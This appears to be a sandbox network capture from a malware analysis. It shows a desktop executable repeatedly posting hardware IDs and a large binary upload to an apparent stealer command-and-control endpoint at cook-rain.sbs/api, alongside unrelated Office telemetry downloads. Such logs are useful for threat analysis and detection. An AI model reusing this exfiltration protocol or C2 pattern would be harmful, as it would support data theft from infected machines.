2024-11-21 13:26:19 UTC	15331	OUT	Data Raw: 2d 2d 36 38 44 5a 55 38 46 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 30 43 43 34 45 31 35 34 30 46 33 45 31 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 36 38 44 5a 55 38 46 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 38 44 5a 55 38 46 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 38 44 5a 55 38 46 38 47 0d 0a 43 6f 6e 74 65 6e Data Ascii: --68DZU8F8GContent-Disposition: form-data; name="hwid"7E0CC4E1540F3E104AFF5ADEC9E6BD77--68DZU8F8GContent-Disposition: form-data; name="pid"3--68DZU8F8GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--68DZU8F8GConten
2024-11-21 13:26:19 UTC	5188	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-11-21 13:26:19 UTC	990	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sma7pjs7peoaorech0r5ladkmq; expires=Mon, 17-Mar-2025 07:12:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2QOysjexC0FIZzHMMBOjFINkfbb%2FNayUak38J3141qlsILk2LS%2FCcr0DHOya8InDg42Hz%2Fbp3mNTAJOCI36h0%2Fpmxj3VVqc6xXS75HBHWr25RF%2FixdFNxH8k%2FKVsaGqQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6102c1e956729b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2015&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21469&delivery_rate=1412675&cwnd=249&unsent_bytes=0&cid=772cb78d33774c1b&ts=921&x=0"
2024-11-21 13:26:19 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:26:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:21 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RCXZA4V9M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1206 Host: cook-rain.sbs
2024-11-21 13:26:21 UTC	1206	OUT	Data Raw: 2d 2d 52 43 58 5a 41 34 56 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 30 43 43 34 45 31 35 34 30 46 33 45 31 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 52 43 58 5a 41 34 56 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 43 58 5a 41 34 56 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 52 43 58 5a 41 34 56 39 4d 0d 0a 43 6f 6e 74 65 6e Data Ascii: --RCXZA4V9MContent-Disposition: form-data; name="hwid"7E0CC4E1540F3E104AFF5ADEC9E6BD77--RCXZA4V9MContent-Disposition: form-data; name="pid"1--RCXZA4V9MContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--RCXZA4V9MConten
2024-11-21 13:26:22 UTC	977	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m6376sikfc1adrtkbra31ceca4; expires=Mon, 17-Mar-2025 07:13:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oQSWx3NCTDPUkGmwv0F6DKNXx46DdrhbdKdkotlQMkCrOKyDTzOCokfSfYfkHW%2FWd9JxNuZArYJZUwi%2BoEumVEpuPpMv8p8CkgHKI41Jp3pmeBFmlOgmMiL8phXgh0DE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6102d2ce9fc5ae-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7131&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2111&delivery_rate=412429&cwnd=32&unsent_bytes=0&cid=70878ddd3e889836&ts=770&x=0"
2024-11-21 13:26:22 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:26:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:23 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:24 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:23 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132623Z-1777c6cb7544n7p6hC1TEByvb40000000b8g00000000bdz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:24 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-21 13:26:24 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49713	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:24 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CJ4N1SN9HQQIUU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551277 Host: cook-rain.sbs
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 2d 2d 43 4a 34 4e 31 53 4e 39 48 51 51 49 55 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 30 43 43 34 45 31 35 34 30 46 33 45 31 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 43 4a 34 4e 31 53 4e 39 48 51 51 49 55 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 4a 34 4e 31 53 4e 39 48 51 51 49 55 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 4a Data Ascii: --CJ4N1SN9HQQIUUContent-Disposition: form-data; name="hwid"7E0CC4E1540F3E104AFF5ADEC9E6BD77--CJ4N1SN9HQQIUUContent-Disposition: form-data; name="pid"1--CJ4N1SN9HQQIUUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--CJ
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 33 4d 01 f8 fc 96 2f f8 93 e5 ce 7a 03 53 36 b5 98 ab eb 0f c2 67 a5 fa 9b a4 56 de 4d 35 cb 8d 7d 33 20 29 cd e0 be 14 6a 28 c2 5b 42 8b 1f 7a 2d 34 ff a9 ed 1f c3 58 63 64 ac 6a 72 10 06 59 3e 27 33 09 e9 81 90 e4 d6 9c b6 6b 7c a2 e8 7e 43 e3 07 c6 ef 43 26 a3 c8 ca 77 1d 6c a1 3c 03 84 ba c2 57 a3 96 21 5f 62 7c 42 d0 dc 6a e1 aa 7b 09 34 e5 5c f0 c4 f2 4f 7d e6 f5 86 a6 19 74 0d 3e d7 13 ba a3 fe 03 df 17 7b 4c a9 18 97 16 1e 50 62 ef 21 28 10 2c 85 df bc 3a 69 9d 28 40 59 9a 54 fb 9e 14 16 75 61 2b 3a f8 44 e4 7e ba d7 9f 32 65 6d 6d 2e a8 d0 15 1c 19 5c 51 64 f4 dd b6 47 82 e3 48 f2 61 9c 7f 22 e4 ee 00 6a c9 cd 10 1c c4 1d 93 18 a5 f8 b3 37 94 00 ed 08 0a f6 71 0b 7f e7 37 5e f9 44 13 9c 90 d8 7a e1 33 96 ec d0 f2 49 07 14 8f af d0 ca 8e 53 79 e3 Data Ascii: 3M/zS6gVM5}3 )j([Bz-4XcdjrY>'3k\|~CC&wl<W!_b\|Bj{4\O}t>{LPb!(,:i(@YTua+:D~2emm.\QdGHa"j7q7^Dz3ISy
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: e9 b8 b4 54 e2 89 30 e7 3d 4f 85 5b b3 34 bc b3 63 eb 9e a6 c7 d4 51 06 24 bd bd b8 2a 4a 42 57 8f 93 13 51 6f 25 0b 03 d1 9f 86 29 71 d1 71 14 dc ee 36 d4 ed 5b a2 3e a1 7c 62 1e 29 32 0e 11 6e 36 27 b0 c2 10 df 5f c6 05 97 85 1b 51 fe 89 73 88 17 01 4a ca a5 fc 0b b5 1d c1 08 7d c1 d9 da 0c 86 c4 d6 aa be f1 8c d2 ef d1 2a e3 b1 da 0a e5 a9 de 04 15 7c 76 5c 04 a6 74 db ad 8d 58 cf ac 64 67 0c 66 7d 2b 48 35 55 98 5b 14 3c d2 12 c9 72 5f f8 8d 13 3e 12 69 69 37 91 53 d1 a6 1d b7 c6 69 62 b9 17 34 cd f0 cd 35 8f 1b 5f b9 1d 1e da 5c 3f b2 ee 6b 4a 0b 10 6d 93 4b 8d b8 dd bb aa 45 fe ea 4b 6c 33 ec 08 97 65 9e ab c9 43 b4 e3 26 24 33 a5 7d 04 ab 4f b5 65 a1 bb 42 e2 67 1c 00 86 90 f0 51 38 1e 26 63 8e be b0 d1 cd a5 41 c9 ef 6e 4b 4a 5d 8b 25 a8 78 74 eb Data Ascii: T0=O[4cQ$JBWQo%)qq6[>\|b)2n6'_QsJ}\|v\tXdgf}+H5U[<r_>ii7Sib45_\?kJmKEKl3eC&$3}OeBgQ8&cAnKJ]%xt
2024-11-21 13:26:24 UTC	15331	OUT	Data Raw: 5e 74 50 df f3 39 fe 1f 21 84 0e 30 a7 8e fc 8c c2 56 01 1e 9c c3 db 61 00 ef ce 21 8f a5 3b 93 b3 ff ef d9 e1 a7 40 d7 19 a4 05 c3 c8 4d 03 7a 77 fa 55 60 ed 8e 6f 68 e7 03 f1 b3 de 1d 3a 7d 91 6e c5 62 2f 5f a5 07 b4 58 a0 c9 ff c0 1e c2 71 12 f0 1e 97 b0 52 55 20 75 5e 94 d1 f9 e7 09 9d b1 7d 18 76 24 d8 14 e3 fc 4e db 34 e1 01 0f 1f ca 34 52 27 d7 0f 47 50 ff fb e3 37 a5 70 fe 9f 9c 08 31 be 9b 49 66 b0 43 20 10 24 33 7e 05 aa 32 ca 4a e9 49 37 48 15 a8 e9 8b d4 6f 02 8c 74 09 71 34 9c fc 38 8e c0 89 2e 11 5b f9 6d 15 7e d4 a3 8f f7 2b ce 91 da b8 ab 19 bf a7 59 79 a5 4e 2b 4b 31 71 24 c9 25 1d 1d de 67 7a b0 12 cd ce c6 af ad 38 ae 09 